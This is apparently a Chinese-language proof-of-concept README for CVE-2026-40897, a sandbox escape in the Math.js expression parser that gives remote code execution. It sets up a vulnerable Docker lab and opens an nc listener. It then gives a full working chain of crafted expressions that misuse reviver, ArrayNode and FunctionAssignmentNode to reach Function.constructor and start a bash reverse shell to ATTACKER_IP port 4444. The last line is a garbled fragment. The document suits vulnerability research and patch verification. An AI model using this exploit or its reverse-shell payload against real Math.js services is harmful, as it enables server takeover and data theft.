★ CVE-2026-40897 Math.js 远程代码执行 PoC ★
https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898
CVE-2026-40897 是 Math.js 表达式解析器中的一个沙箱绕过导致远程代码执行漏洞。
isSafeProperty过滤器仅检查用户表达式中的属性访问，而不检查内部代码路径。通过toJSON()泄露ArrayNode的内部数组并覆盖其.map，攻击者可以强制内部代码访问Function.constructor并执行任意 JavaScript。
| 类别 | 版本 |
|---|---|
| 受影响 | Math.js 13.1.1 ≤ 版本 ≤ 15.1.1 |
| 已修复 | 15.2.0 |
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln
启动易受攻击的环境后，按照以下步骤复现攻击。
nc -lvnp 4444
将以下表达式发送到 math.evaluate（例如，通过应用程序的计算输入）。
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()
目标服务器会回连到攻击者的监听器，从而获得一个交互式 bash shell。
math.evaluate()reviver、FunctionAssignmentNode、ArrayNode）